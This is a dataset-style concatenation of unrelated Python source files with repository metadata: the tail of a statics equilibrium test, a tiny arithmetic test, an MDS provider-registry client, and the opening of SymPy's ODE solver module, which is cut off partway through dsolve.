location = array([[0, 0], [0, 0], [0, 0]]) assert in_static_equilibrium(forces, location) # Problem in image_data/2D_problems_1.jpg forces = array([[0, -2000], [0, -1200], [0, 15600], [0, -12400]]) location = array([[0, 0], [6, 0], [10, 0], [12, 0]]) assert in_static_equilibrium(forces, location) import doctest doctest.testmod()

28.650602

87

0.549201

1f4948688b1ebb59a7eefb01f83d63c9f3d1ff74

58

py

Python

tests/source/test_18.py

DragosUnguru/PyPP-Byterun

2cbd7c875e7578e38706e48c2e38e0f5abfe6662

[ "MIT" ]

1

2020-02-16T01:45:57.000Z

tests/source/test_18.py

DragosUnguru/PyPP-Byterun

2cbd7c875e7578e38706e48c2e38e0f5abfe6662

[ "MIT" ]

null

tests/source/test_18.py

DragosUnguru/PyPP-Byterun

2cbd7c875e7578e38706e48c2e38e0f5abfe6662

[ "MIT" ]

null

def main(): a = 3 b = 10 c = a % b c = 15 b = c % a

7.25

11

0.362069

4a2baa226668353cf0da570460bd3481f6306c5b

6,520

py

Python

mds/providers.py

hdemma/mds-provider

f50b79b686cbb4631e5d4b241a0fe1a6336d2f8d

[ "MIT" ]

17

2018-09-21T00:46:09.000Z

2021-09-29T13:26:22.000Z

mds/providers.py

hdemma/mds-provider

f50b79b686cbb4631e5d4b241a0fe1a6336d2f8d

[ "MIT" ]

56

2018-09-20T18:02:12.000Z

2020-05-21T07:41:28.000Z

mds/providers.py

hdemma/mds-provider

f50b79b686cbb4631e5d4b241a0fe1a6336d2f8d

[ "MIT" ]

22

2018-09-20T23:53:26.000Z

2021-06-07T19:00:41.000Z

""" Work with Providers from the registry. """ import csv import pathlib import uuid import requests import mds.github from .schemas import STATUS_CHANGES, TRIPS, EVENTS, VEHICLES from .versions import Version class Provider(): """ A simple model for an entry in a Provider registry. """ def __init__(self, identifier=None, ref=mds.github.MDS_DEFAULT_REF, path=None, **kwargs): """ Initialize a new Provider instance. Parameters: identifier: str, UUID, Provider, optional The provider_id or provider_name from the registry. ref: str, Version The reference (git commit, branch, tag, or version) at which to query the registry. path: str, Path, optional A path to a local registry file. provider_name: str, optional The name of the provider from the registry. provider_id: str, UUID The unique identifier for the provider from the registry. url: str The provider's website url from the registry. mds_api_url: str The provider's base API url from the registry. gbfs_api_url: str The provider's GBFS API url from the registry. Additional keyword parameters are set as attributes on the Provider instance. """ # parsing a Provider record if not identifier: self.provider_name = kwargs.pop("provider_name", None) provider_id = kwargs.pop("provider_id", None) self.provider_id = provider_id if isinstance(provider_id, uuid.UUID) else uuid.UUID(provider_id) self.auth_type = kwargs.pop("auth_type", "Bearer") self.gbfs_api_url = self._clean_url(kwargs.pop("gbfs_api_url", None)) self.headers = kwargs.pop("headers", {}) self.mds_api_suffix = kwargs.pop("mds_api_suffix", None) self.mds_api_url = self._clean_url(kwargs.pop("mds_api_url", None)) self.registry_path = path self.registry_ref = ref self.url = self._clean_url(kwargs.pop("url", None)) try: self.version = Version(ref) except: pass for k,v in kwargs.items(): setattr(self, k, v) # copy Provider instance elif isinstance(identifier, Provider): _kwargs = vars(identifier) _kwargs.update(kwargs) Provider.__init__(self, ref=identifier.registry_ref, path=identifier.registry_path, **_kwargs) # interrogate the registry else: provider = Registry(ref=ref, path=path).find(identifier, **kwargs) if provider: Provider.__init__(self, provider) def __repr__(self): ref, name, pid, url = ( self.registry_ref or self.registry_path, self.provider_name, str(self.provider_id), self.mds_api_url ) return f"<mds.providers.Provider ('{ref}', '{name}', '{pid}', '{url}')>" @property def endpoints(self): endpoint = [self.mds_api_url] if self.mds_api_suffix: endpoint.append(self.mds_api_suffix.rstrip("/")) return { STATUS_CHANGES: "/".join(endpoint + [STATUS_CHANGES]), TRIPS: "/".join(endpoint + [TRIPS]), EVENTS: "/".join(endpoint + [EVENTS]), VEHICLES: "/".join(endpoint + [VEHICLES]) } @staticmethod def _clean_url(url): """ Helper to return a normalized URL """ if url: url = url.lower().rstrip("/") return url if url.startswith("https://") else f"https://{url}" else: return None class Registry(): """ Represents a local or remote Provider registry. See: https://github.com/CityOfLosAngeles/mobility-data-specification/blob/master/providers.csv """ _registry = {} def __init__(self, ref=mds.github.MDS_DEFAULT_REF, path=None, **kwargs): """ Parameters: ref: str, Version The reference (git commit, branch, tag, or version) at which to query the registry. By default, download from GitHub master. path: str, Path, optional A path to a local registry file to skip the GitHub download. """ key = (str(ref), path) if key not in self._registry: self._registry[key] = self._get_registry(*key) self.providers = self._registry[key] self.ref = ref self.path = path def __repr__(self): data = "'" + "', '".join([str(self.ref or self.path), str(len(self.providers)) + " providers"]) + "'" return f"<mds.files.Registry ({data})>" def find(self, provider, **kwargs): """ Find a Provider instance in this Registry. Parameters: provider: str, UUID A provider_id or provider_name to look for in the registry. Additional keyword arguments are set as attributes on the Provider instance. Return: Provider The matching Provider instance, or None. """ try: provider = uuid.UUID(provider) except ValueError: pass # filter for matching provider(s) found = next((p for p in self.providers if any([ isinstance(provider, str) and p.provider_name.lower() == provider.lower(), isinstance(provider, uuid.UUID) and p.provider_id == provider ])), None) # re-init with the record from registry and config return Provider(found, **kwargs) if found else None @staticmethod def _get_registry(ref, path): if path: path = pathlib.Path(path) with path.open("r") as f: return Registry._parse_csv(f.readlines(), ref=ref, path=path) else: url = mds.github.registry_url(ref) with requests.get(url, stream=True) as r: lines = (line.decode("utf-8").replace(", ", ",") for line in r.iter_lines()) return Registry._parse_csv(lines, ref=ref, path=path) @staticmethod def _parse_csv(lines, **kwargs): """ Parse CSV lines into a list of Provider instances. """ return [Provider(**record, **kwargs) for record in csv.DictReader(lines)]

33.096447

109

0.578681

a2f1bd3eb2a46babe18ad78a473d78638f160382

277,100

py

Python

sympy/solvers/ode/ode.py

mijo2/sympy

8a6beee32556d42c6d0b1c1687681b3b2cfed9b9

[ "BSD-3-Clause" ]

1

2020-12-26T05:30:08.000Z

sympy/solvers/ode/ode.py

mijo2/sympy

8a6beee32556d42c6d0b1c1687681b3b2cfed9b9

[ "BSD-3-Clause" ]

null

sympy/solvers/ode/ode.py

mijo2/sympy

8a6beee32556d42c6d0b1c1687681b3b2cfed9b9

[ "BSD-3-Clause" ]

null

r""" This module contains :py:meth:`~sympy.solvers.ode.dsolve` and different helper functions that it uses. :py:meth:`~sympy.solvers.ode.dsolve` solves ordinary differential equations. See the docstring on the various functions for their uses. Note that partial differential equations support is in ``pde.py``. Note that hint functions have docstrings describing their various methods, but they are intended for internal use. Use ``dsolve(ode, func, hint=hint)`` to solve an ODE using a specific hint. See also the docstring on :py:meth:`~sympy.solvers.ode.dsolve`. **Functions in this module** These are the user functions in this module: - :py:meth:`~sympy.solvers.ode.dsolve` - Solves ODEs. - :py:meth:`~sympy.solvers.ode.classify_ode` - Classifies ODEs into possible hints for :py:meth:`~sympy.solvers.ode.dsolve`. - :py:meth:`~sympy.solvers.ode.checkodesol` - Checks if an equation is the solution to an ODE. - :py:meth:`~sympy.solvers.ode.homogeneous_order` - Returns the homogeneous order of an expression. - :py:meth:`~sympy.solvers.ode.infinitesimals` - Returns the infinitesimals of the Lie group of point transformations of an ODE, such that it is invariant. - :py:meth:`~sympy.solvers.ode.checkinfsol` - Checks if the given infinitesimals are the actual infinitesimals of a first order ODE. These are the non-solver helper functions that are for internal use. The user should use the various options to :py:meth:`~sympy.solvers.ode.dsolve` to obtain the functionality provided by these functions: - :py:meth:`~sympy.solvers.ode.ode.odesimp` - Does all forms of ODE simplification. - :py:meth:`~sympy.solvers.ode.ode.ode_sol_simplicity` - A key function for comparing solutions by simplicity. - :py:meth:`~sympy.solvers.ode.constantsimp` - Simplifies arbitrary constants. - :py:meth:`~sympy.solvers.ode.ode.constant_renumber` - Renumber arbitrary constants. - :py:meth:`~sympy.solvers.ode.ode._handle_Integral` - Evaluate unevaluated Integrals. See also the docstrings of these functions. **Currently implemented solver methods** The following methods are implemented for solving ordinary differential equations. See the docstrings of the various hint functions for more information on each (run ``help(ode)``): - 1st order separable differential equations. - 1st order differential equations whose coefficients or `dx` and `dy` are functions homogeneous of the same order. - 1st order exact differential equations. - 1st order linear differential equations. - 1st order Bernoulli differential equations. - Power series solutions for first order differential equations. - Lie Group method of solving first order differential equations. - 2nd order Liouville differential equations. - Power series solutions for second order differential equations at ordinary and regular singular points. - `n`\th order differential equation that can be solved with algebraic rearrangement and integration. - `n`\th order linear homogeneous differential equation with constant coefficients. - `n`\th order linear inhomogeneous differential equation with constant coefficients using the method of undetermined coefficients. - `n`\th order linear inhomogeneous differential equation with constant coefficients using the method of variation of parameters. **Philosophy behind this module** This module is designed to make it easy to add new ODE solving methods without having to mess with the solving code for other methods. The idea is that there is a :py:meth:`~sympy.solvers.ode.classify_ode` function, which takes in an ODE and tells you what hints, if any, will solve the ODE. It does this without attempting to solve the ODE, so it is fast. Each solving method is a hint, and it has its own function, named ``ode_<hint>``. That function takes in the ODE and any match expression gathered by :py:meth:`~sympy.solvers.ode.classify_ode` and returns a solved result. If this result has any integrals in it, the hint function will return an unevaluated :py:class:`~sympy.integrals.integrals.Integral` class. :py:meth:`~sympy.solvers.ode.dsolve`, which is the user wrapper function around all of this, will then call :py:meth:`~sympy.solvers.ode.ode.odesimp` on the result, which, among other things, will attempt to solve the equation for the dependent variable (the function we are solving for), simplify the arbitrary constants in the expression, and evaluate any integrals, if the hint allows it. **How to add new solution methods** If you have an ODE that you want :py:meth:`~sympy.solvers.ode.dsolve` to be able to solve, try to avoid adding special case code here. Instead, try finding a general method that will solve your ODE, as well as others. This way, the :py:mod:`~sympy.solvers.ode` module will become more robust, and unhindered by special case hacks. WolphramAlpha and Maple's DETools[odeadvisor] function are two resources you can use to classify a specific ODE. It is also better for a method to work with an `n`\th order ODE instead of only with specific orders, if possible. To add a new method, there are a few things that you need to do. First, you need a hint name for your method. Try to name your hint so that it is unambiguous with all other methods, including ones that may not be implemented yet. If your method uses integrals, also include a ``hint_Integral`` hint. If there is more than one way to solve ODEs with your method, include a hint for each one, as well as a ``<hint>_best`` hint. Your ``ode_<hint>_best()`` function should choose the best using min with ``ode_sol_simplicity`` as the key argument. See :py:meth:`~sympy.solvers.ode.ode.ode_1st_homogeneous_coeff_best`, for example. The function that uses your method will be called ``ode_<hint>()``, so the hint must only use characters that are allowed in a Python function name (alphanumeric characters and the underscore '``_``' character). Include a function for every hint, except for ``_Integral`` hints (:py:meth:`~sympy.solvers.ode.dsolve` takes care of those automatically). Hint names should be all lowercase, unless a word is commonly capitalized (such as Integral or Bernoulli). If you have a hint that you do not want to run with ``all_Integral`` that doesn't have an ``_Integral`` counterpart (such as a best hint that would defeat the purpose of ``all_Integral``), you will need to remove it manually in the :py:meth:`~sympy.solvers.ode.dsolve` code. See also the :py:meth:`~sympy.solvers.ode.classify_ode` docstring for guidelines on writing a hint name. Determine *in general* how the solutions returned by your method compare with other methods that can potentially solve the same ODEs. Then, put your hints in the :py:data:`~sympy.solvers.ode.allhints` tuple in the order that they should be called. The ordering of this tuple determines which hints are default. Note that exceptions are ok, because it is easy for the user to choose individual hints with :py:meth:`~sympy.solvers.ode.dsolve`. In general, ``_Integral`` variants should go at the end of the list, and ``_best`` variants should go before the various hints they apply to. For example, the ``undetermined_coefficients`` hint comes before the ``variation_of_parameters`` hint because, even though variation of parameters is more general than undetermined coefficients, undetermined coefficients generally returns cleaner results for the ODEs that it can solve than variation of parameters does, and it does not require integration, so it is much faster. Next, you need to have a match expression or a function that matches the type of the ODE, which you should put in :py:meth:`~sympy.solvers.ode.classify_ode` (if the match function is more than just a few lines, like :py:meth:`~sympy.solvers.ode.ode._undetermined_coefficients_match`, it should go outside of :py:meth:`~sympy.solvers.ode.classify_ode`). It should match the ODE without solving for it as much as possible, so that :py:meth:`~sympy.solvers.ode.classify_ode` remains fast and is not hindered by bugs in solving code. Be sure to consider corner cases. For example, if your solution method involves dividing by something, make sure you exclude the case where that division will be 0. In most cases, the matching of the ODE will also give you the various parts that you need to solve it. You should put that in a dictionary (``.match()`` will do this for you), and add that as ``matching_hints['hint'] = matchdict`` in the relevant part of :py:meth:`~sympy.solvers.ode.classify_ode`. :py:meth:`~sympy.solvers.ode.classify_ode` will then send this to :py:meth:`~sympy.solvers.ode.dsolve`, which will send it to your function as the ``match`` argument. Your function should be named ``ode_<hint>(eq, func, order, match)`. If you need to send more information, put it in the ``match`` dictionary. For example, if you had to substitute in a dummy variable in :py:meth:`~sympy.solvers.ode.classify_ode` to match the ODE, you will need to pass it to your function using the `match` dict to access it. You can access the independent variable using ``func.args[0]``, and the dependent variable (the function you are trying to solve for) as ``func.func``. If, while trying to solve the ODE, you find that you cannot, raise ``NotImplementedError``. :py:meth:`~sympy.solvers.ode.dsolve` will catch this error with the ``all`` meta-hint, rather than causing the whole routine to fail. Add a docstring to your function that describes the method employed. Like with anything else in SymPy, you will need to add a doctest to the docstring, in addition to real tests in ``test_ode.py``. Try to maintain consistency with the other hint functions' docstrings. Add your method to the list at the top of this docstring. Also, add your method to ``ode.rst`` in the ``docs/src`` directory, so that the Sphinx docs will pull its docstring into the main SymPy documentation. Be sure to make the Sphinx documentation by running ``make html`` from within the doc directory to verify that the docstring formats correctly. If your solution method involves integrating, use :py:obj:`~.Integral` instead of :py:meth:`~sympy.core.expr.Expr.integrate`. This allows the user to bypass hard/slow integration by using the ``_Integral`` variant of your hint. In most cases, calling :py:meth:`sympy.core.basic.Basic.doit` will integrate your solution. If this is not the case, you will need to write special code in :py:meth:`~sympy.solvers.ode.ode._handle_Integral`. Arbitrary constants should be symbols named ``C1``, ``C2``, and so on. All solution methods should return an equality instance. If you need an arbitrary number of arbitrary constants, you can use ``constants = numbered_symbols(prefix='C', cls=Symbol, start=1)``. If it is possible to solve for the dependent function in a general way, do so. Otherwise, do as best as you can, but do not call solve in your ``ode_<hint>()`` function. :py:meth:`~sympy.solvers.ode.ode.odesimp` will attempt to solve the solution for you, so you do not need to do that. Lastly, if your ODE has a common simplification that can be applied to your solutions, you can add a special case in :py:meth:`~sympy.solvers.ode.ode.odesimp` for it. For example, solutions returned from the ``1st_homogeneous_coeff`` hints often have many :obj:`~sympy.functions.elementary.exponential.log` terms, so :py:meth:`~sympy.solvers.ode.ode.odesimp` calls :py:meth:`~sympy.simplify.simplify.logcombine` on them (it also helps to write the arbitrary constant as ``log(C1)`` instead of ``C1`` in this case). Also consider common ways that you can rearrange your solution to have :py:meth:`~sympy.solvers.ode.constantsimp` take better advantage of it. It is better to put simplification in :py:meth:`~sympy.solvers.ode.ode.odesimp` than in your method, because it can then be turned off with the simplify flag in :py:meth:`~sympy.solvers.ode.dsolve`. If you have any extraneous simplification in your function, be sure to only run it using ``if match.get('simplify', True):``, especially if it can be slow or if it can reduce the domain of the solution. Finally, as with every contribution to SymPy, your method will need to be tested. Add a test for each method in ``test_ode.py``. Follow the conventions there, i.e., test the solver using ``dsolve(eq, f(x), hint=your_hint)``, and also test the solution using :py:meth:`~sympy.solvers.ode.checkodesol` (you can put these in a separate tests and skip/XFAIL if it runs too slow/doesn't work). Be sure to call your hint specifically in :py:meth:`~sympy.solvers.ode.dsolve`, that way the test won't be broken simply by the introduction of another matching hint. If your method works for higher order (>1) ODEs, you will need to run ``sol = constant_renumber(sol, 'C', 1, order)`` for each solution, where ``order`` is the order of the ODE. This is because ``constant_renumber`` renumbers the arbitrary constants by printing order, which is platform dependent. Try to test every corner case of your solver, including a range of orders if it is a `n`\th order solver, but if your solver is slow, such as if it involves hard integration, try to keep the test run time down. Feel free to refactor existing hints to avoid duplicating code or creating inconsistencies. If you can show that your method exactly duplicates an existing method, including in the simplicity and speed of obtaining the solutions, then you can remove the old, less general method. The existing code is tested extensively in ``test_ode.py``, so if anything is broken, one of those tests will surely fail. """ from __future__ import print_function, division from collections import defaultdict from itertools import islice from sympy.functions import hyper from sympy.core import Add, S, Mul, Pow, oo, Rational from sympy.core.compatibility import ordered, iterable from sympy.core.containers import Tuple from sympy.core.exprtools import factor_terms from sympy.core.expr import AtomicExpr, Expr from sympy.core.function import (Function, Derivative, AppliedUndef, diff, expand, expand_mul, Subs, _mexpand) from sympy.core.multidimensional import vectorize from sympy.core.numbers import NaN, zoo, Number from sympy.core.relational import Equality, Eq from sympy.core.symbol import Symbol, Wild, Dummy, symbols from sympy.core.sympify import sympify from sympy.logic.boolalg import (BooleanAtom, BooleanTrue, BooleanFalse) from sympy.functions import cos, cosh, exp, im, log, re, sin, sinh, sqrt, \ atan2, conjugate, cbrt, besselj, bessely, airyai, airybi from sympy.functions.combinatorial.factorials import factorial from sympy.integrals.integrals import Integral, integrate from sympy.matrices import wronskian from sympy.polys import (Poly, RootOf, rootof, terms_gcd, PolynomialError, lcm, roots, gcd) from sympy.polys.polytools import cancel, degree, div from sympy.series import Order from sympy.series.series import series from sympy.simplify import (collect, logcombine, powsimp, # type: ignore separatevars, simplify, trigsimp, posify, cse) from sympy.simplify.powsimp import powdenest from sympy.simplify.radsimp import collect_const from sympy.solvers import checksol, solve from sympy.solvers.pde import pdsolve from sympy.utilities import numbered_symbols, default_sort_key, sift from sympy.utilities.iterables import uniq from sympy.solvers.deutils import _preprocess, ode_order, _desolve from .subscheck import sub_func_doit #: This is a list of hints in the order that they should be preferred by #: :py:meth:`~sympy.solvers.ode.classify_ode`. In general, hints earlier in the #: list should produce simpler solutions than those later in the list (for #: ODEs that fit both). For now, the order of this list is based on empirical #: observations by the developers of SymPy. #: #: The hint used by :py:meth:`~sympy.solvers.ode.dsolve` for a specific ODE #: can be overridden (see the docstring). #: #: In general, ``_Integral`` hints are grouped at the end of the list, unless #: there is a method that returns an unevaluable integral most of the time #: (which go near the end of the list anyway). ``default``, ``all``, #: ``best``, and ``all_Integral`` meta-hints should not be included in this #: list, but ``_best`` and ``_Integral`` hints should be included. allhints = ( "factorable", "nth_algebraic", "separable", "1st_exact", "1st_linear", "Bernoulli", "Riccati_special_minus2", "1st_homogeneous_coeff_best", "1st_homogeneous_coeff_subs_indep_div_dep", "1st_homogeneous_coeff_subs_dep_div_indep", "almost_linear", "linear_coefficients", "separable_reduced", "1st_power_series", "lie_group", "nth_linear_constant_coeff_homogeneous", "nth_linear_euler_eq_homogeneous", "nth_linear_constant_coeff_undetermined_coefficients", "nth_linear_euler_eq_nonhomogeneous_undetermined_coefficients", "nth_linear_constant_coeff_variation_of_parameters", "nth_linear_euler_eq_nonhomogeneous_variation_of_parameters", "Liouville", "2nd_linear_airy", "2nd_linear_bessel", "2nd_hypergeometric", "2nd_hypergeometric_Integral", "nth_order_reducible", "2nd_power_series_ordinary", "2nd_power_series_regular", "nth_algebraic_Integral", "separable_Integral", "1st_exact_Integral", "1st_linear_Integral", "Bernoulli_Integral", "1st_homogeneous_coeff_subs_indep_div_dep_Integral", "1st_homogeneous_coeff_subs_dep_div_indep_Integral", "almost_linear_Integral", "linear_coefficients_Integral", "separable_reduced_Integral", "nth_linear_constant_coeff_variation_of_parameters_Integral", "nth_linear_euler_eq_nonhomogeneous_variation_of_parameters_Integral", "Liouville_Integral", ) lie_heuristics = ( "abaco1_simple", "abaco1_product", "abaco2_similar", "abaco2_unique_unknown", "abaco2_unique_general", "linear", "function_sum", "bivariate", "chi" ) def get_numbered_constants(eq, num=1, start=1, prefix='C'): """ Returns a list of constants that do not occur in eq already. """ ncs = iter_numbered_constants(eq, start, prefix) Cs = [next(ncs) for i in range(num)] return (Cs[0] if num == 1 else tuple(Cs)) def iter_numbered_constants(eq, start=1, prefix='C'): """ Returns an iterator of constants that do not occur in eq already. """ if isinstance(eq, (Expr, Eq)): eq = [eq] elif not iterable(eq): raise ValueError("Expected Expr or iterable but got %s" % eq) atom_set = set().union(*[i.free_symbols for i in eq]) func_set = set().union(*[i.atoms(Function) for i in eq]) if func_set: atom_set |= {Symbol(str(f.func)) for f in func_set} return numbered_symbols(start=start, prefix=prefix, exclude=atom_set) def dsolve(eq, func=None, hint="default", simplify=True, ics= None, xi=None, eta=None, x0=0, n=6, **kwargs): r""" Solves any (supported) kind of ordinary differential equation and system of ordinary differential equations. For single ordinary differential equation ========================================= It is classified under this when number of equation in ``eq`` is one. **Usage** ``dsolve(eq, f(x), hint)`` -> Solve ordinary differential equation ``eq`` for function ``f(x)``, using method ``hint``. **Details** ``eq`` can be any supported ordinary differential equation (see the :py:mod:`~sympy.solvers.ode` docstring for supported methods). This can either be an :py:class:`~sympy.core.relational.Equality`, or an expression, which is assumed to be equal to ``0``. ``f(x)`` is a function of one variable whose derivatives in that variable make up the ordinary differential equation ``eq``. In many cases it is not necessary to provide this; it will be autodetected (and an error raised if it couldn't be detected). ``hint`` is the solving method that you want dsolve to use. Use ``classify_ode(eq, f(x))`` to get all of the possible hints for an ODE. The default hint, ``default``, will use whatever hint is returned first by :py:meth:`~sympy.solvers.ode.classify_ode`. See Hints below for more options that you can use for hint. ``simplify`` enables simplification by :py:meth:`~sympy.solvers.ode.ode.odesimp`. See its docstring for more information. Turn this off, for example, to disable solving of solutions for ``func`` or simplification of arbitrary constants. It will still integrate with this hint. Note that the solution may contain more arbitrary constants than the order of the ODE with this option enabled. ``xi`` and ``eta`` are the infinitesimal functions of an ordinary differential equation. They are the infinitesimals of the Lie group of point transformations for which the differential equation is invariant. The user can specify values for the infinitesimals. If nothing is specified, ``xi`` and ``eta`` are calculated using :py:meth:`~sympy.solvers.ode.infinitesimals` with the help of various heuristics. ``ics`` is the set of initial/boundary conditions for the differential equation. It should be given in the form of ``{f(x0): x1, f(x).diff(x).subs(x, x2): x3}`` and so on. For power series solutions, if no initial conditions are specified ``f(0)`` is assumed to be ``C0`` and the power series solution is calculated about 0. ``x0`` is the point about which the power series solution of a differential equation is to be evaluated. ``n`` gives the exponent of the dependent variable up to which the power series solution of a differential equation is to be evaluated. **Hints** Aside from the various solving methods, there are also some meta-hints that you can pass to :py:meth:`~sympy.solvers.ode.dsolve`: ``default``: This uses whatever hint is returned first by :py:meth:`~sympy.solvers.ode.classify_ode`. This is the default argument to :py:meth:`~sympy.solvers.ode.dsolve`. ``all``: To make :py:meth:`~sympy.solvers.ode.dsolve` apply all relevant classification hints, use ``dsolve(ODE, func, hint="all")``. This will return a dictionary of ``hint:solution`` terms. If a hint causes dsolve to raise the ``NotImplementedError``, value of that hint's key will be the exception object raised. The dictionary will also include some special keys: - ``order``: The order of the ODE. See also :py:meth:`~sympy.solvers.deutils.ode_order` in ``deutils.py``. - ``best``: The simplest hint; what would be returned by ``best`` below. - ``best_hint``: The hint that would produce the solution given by ``best``. If more than one hint produces the best solution, the first one in the tuple returned by :py:meth:`~sympy.solvers.ode.classify_ode` is chosen. - ``default``: The solution that would be returned by default. This is the one produced by the hint that appears first in the tuple returned by :py:meth:`~sympy.solvers.ode.classify_ode`. ``all_Integral``: This is the same as ``all``, except if a hint also has a corresponding ``_Integral`` hint, it only returns the ``_Integral`` hint. This is useful if ``all`` causes :py:meth:`~sympy.solvers.ode.dsolve` to hang because of a difficult or impossible integral. This meta-hint will also be much faster than ``all``, because :py:meth:`~sympy.core.expr.Expr.integrate` is an expensive routine. ``best``: To have :py:meth:`~sympy.solvers.ode.dsolve` try all methods and return the simplest one. This takes into account whether the solution is solvable in the function, whether it contains any Integral classes (i.e. unevaluatable integrals), and which one is the shortest in size. See also the :py:meth:`~sympy.solvers.ode.classify_ode` docstring for more info on hints, and the :py:mod:`~sympy.solvers.ode` docstring for a list of all supported hints. **Tips** - You can declare the derivative of an unknown function this way: >>> from sympy import Function, Derivative >>> from sympy.abc import x # x is the independent variable >>> f = Function("f")(x) # f is a function of x >>> # f_ will be the derivative of f with respect to x >>> f_ = Derivative(f, x) - See ``test_ode.py`` for many tests, which serves also as a set of examples for how to use :py:meth:`~sympy.solvers.ode.dsolve`. - :py:meth:`~sympy.solvers.ode.dsolve` always returns an :py:class:`~sympy.core.relational.Equality` class (except for the case when the hint is ``all`` or ``all_Integral``). If possible, it solves the solution explicitly for the function being solved for. Otherwise, it returns an implicit solution. - Arbitrary constants are symbols named ``C1``, ``C2``, and so on. - Because all solutions should be mathematically equivalent, some hints may return the exact same result for an ODE. Often, though, two different hints will return the same solution formatted differently. The two should be equivalent. Also note that sometimes the values of the arbitrary constants in two different solutions may not be the same, because one constant may have "absorbed" other constants into it. - Do ``help(ode.ode_<hintname>)`` to get help more information on a specific hint, where ``<hintname>`` is the name of a hint without ``_Integral``. For system of ordinary differential equations ============================================= **Usage** ``dsolve(eq, func)`` -> Solve a system of ordinary differential equations ``eq`` for ``func`` being list of functions including `x(t)`, `y(t)`, `z(t)` where number of functions in the list depends upon the number of equations provided in ``eq``. **Details** ``eq`` can be any supported system of ordinary differential equations This can either be an :py:class:`~sympy.core.relational.Equality`, or an expression, which is assumed to be equal to ``0``. ``func`` holds ``x(t)`` and ``y(t)`` being functions of one variable which together with some of their derivatives make up the system of ordinary differential equation ``eq``. It is not necessary to provide this; it will be autodetected (and an error raised if it couldn't be detected). **Hints** The hints are formed by parameters returned by classify_sysode, combining them give hints name used later for forming method name. Examples ======== >>> from sympy import Function, dsolve, Eq, Derivative, sin, cos, symbols >>> from sympy.abc import x >>> f = Function('f') >>> dsolve(Derivative(f(x), x, x) + 9*f(x), f(x)) Eq(f(x), C1*sin(3*x) + C2*cos(3*x)) >>> eq = sin(x)*cos(f(x)) + cos(x)*sin(f(x))*f(x).diff(x) >>> dsolve(eq, hint='1st_exact') [Eq(f(x), -acos(C1/cos(x)) + 2*pi), Eq(f(x), acos(C1/cos(x)))] >>> dsolve(eq, hint='almost_linear') [Eq(f(x), -acos(C1/cos(x)) + 2*pi), Eq(f(x), acos(C1/cos(x)))] >>> t = symbols('t') >>> x, y = symbols('x, y', cls=Function) >>> eq = (Eq(Derivative(x(t),t), 12*t*x(t) + 8*y(t)), Eq(Derivative(y(t),t), 21*x(t) + 7*t*y(t))) >>> dsolve(eq) [Eq(x(t), C1*x0(t) + C2*x0(t)*Integral(8*exp(Integral(7*t, t))*exp(Integral(12*t, t))/x0(t)**2, t)), Eq(y(t), C1*y0(t) + C2*(y0(t)*Integral(8*exp(Integral(7*t, t))*exp(Integral(12*t, t))/x0(t)**2, t) + exp(Integral(7*t, t))*exp(Integral(12*t, t))/x0(t)))] >>> eq = (Eq(Derivative(x(t),t),x(t)*y(t)*sin(t)), Eq(Derivative(y(t),t),y(t)**2*sin(t))) >>> dsolve(eq) {Eq(x(t), -exp(C1)/(C2*exp(C1) - cos(t))), Eq(y(t), -1/(C1 - cos(t)))} """ if iterable(eq): from sympy.solvers.ode.systems import dsolve_system # This may have to be changed in future # when we have weakly and strongly # connected components. This have to # changed to show the systems that haven't # been solved. try: sol = dsolve_system(eq, funcs=func, ics=ics) return sol[0] if len(sol) == 1 else sol except NotImplementedError: pass match = classify_sysode(eq, func) eq = match['eq'] order = match['order'] func = match['func'] t = list(list(eq[0].atoms(Derivative))[0].atoms(Symbol))[0] # keep highest order term coefficient positive for i in range(len(eq)): for func_ in func: if isinstance(func_, list): pass else: if eq[i].coeff(diff(func[i],t,ode_order(eq[i], func[i]))).is_negative: eq[i] = -eq[i] match['eq'] = eq if len(set(order.values()))!=1: raise ValueError("It solves only those systems of equations whose orders are equal") match['order'] = list(order.values())[0] def recur_len(l): return sum(recur_len(item) if isinstance(item,list) else 1 for item in l) if recur_len(func) != len(eq): raise ValueError("dsolve() and classify_sysode() work with " "number of functions being equal to number of equations") if match['type_of_equation'] is None: raise NotImplementedError else: if match['is_linear'] == True: solvefunc = globals()['sysode_linear_%(no_of_equation)seq_order%(order)s' % match] else: solvefunc = globals()['sysode_nonlinear_%(no_of_equation)seq_order%(order)s' % match] sols = solvefunc(match) if ics: constants = Tuple(*sols).free_symbols - Tuple(*eq).free_symbols solved_constants = solve_ics(sols, func, constants, ics) return [sol.subs(solved_constants) for sol in sols] return sols else: given_hint = hint # hint given by the user # See the docstring of _desolve for more details. hints = _desolve(eq, func=func, hint=hint, simplify=True, xi=xi, eta=eta, type='ode', ics=ics, x0=x0, n=n, **kwargs) eq = hints.pop('eq', eq) all_ = hints.pop('all', False) if all_: retdict = {} failed_hints = {} gethints = classify_ode(eq, dict=True) orderedhints = gethints['ordered_hints'] for hint in hints: try: rv = _helper_simplify(eq, hint, hints[hint], simplify) except NotImplementedError as detail: failed_hints[hint] = detail else: retdict[hint] = rv func = hints[hint]['func'] retdict['best'] = min(list(retdict.values()), key=lambda x: ode_sol_simplicity(x, func, trysolving=not simplify)) if given_hint == 'best': return retdict['best'] for i in orderedhints: if retdict['best'] == retdict.get(i, None): retdict['best_hint'] = i break retdict['default'] = gethints['default'] retdict['order'] = gethints['order'] retdict.update(failed_hints) return retdict else: # The key 'hint' stores the hint needed to be solved for. hint = hints['hint'] return _helper_simplify(eq, hint, hints, simplify, ics=ics) def _helper_simplify(eq, hint, match, simplify=True, ics=None, **kwargs): r""" Helper function of dsolve that calls the respective :py:mod:`~sympy.solvers.ode` functions to solve for the ordinary differential equations. This minimizes the computation in calling :py:meth:`~sympy.solvers.deutils._desolve` multiple times. """ r = match func = r['func'] order = r['order'] match = r[hint] if isinstance(match, SingleODESolver): solvefunc = match elif hint.endswith('_Integral'): solvefunc = globals()['ode_' + hint[:-len('_Integral')]] else: solvefunc = globals()['ode_' + hint] free = eq.free_symbols cons = lambda s: s.free_symbols.difference(free) if simplify: # odesimp() will attempt to integrate, if necessary, apply constantsimp(), # attempt to solve for func, and apply any other hint specific # simplifications if isinstance(solvefunc, SingleODESolver): sols = solvefunc.get_general_solution() else: sols = solvefunc(eq, func, order, match) if iterable(sols): rv = [odesimp(eq, s, func, hint) for s in sols] else: rv = odesimp(eq, sols, func, hint) else: # We still want to integrate (you can disable it separately with the hint) if isinstance(solvefunc, SingleODESolver): exprs = solvefunc.get_general_solution(simplify=False) else: match['simplify'] = False # Some hints can take advantage of this option exprs = solvefunc(eq, func, order, match) if isinstance(exprs, list): rv = [_handle_Integral(expr, func, 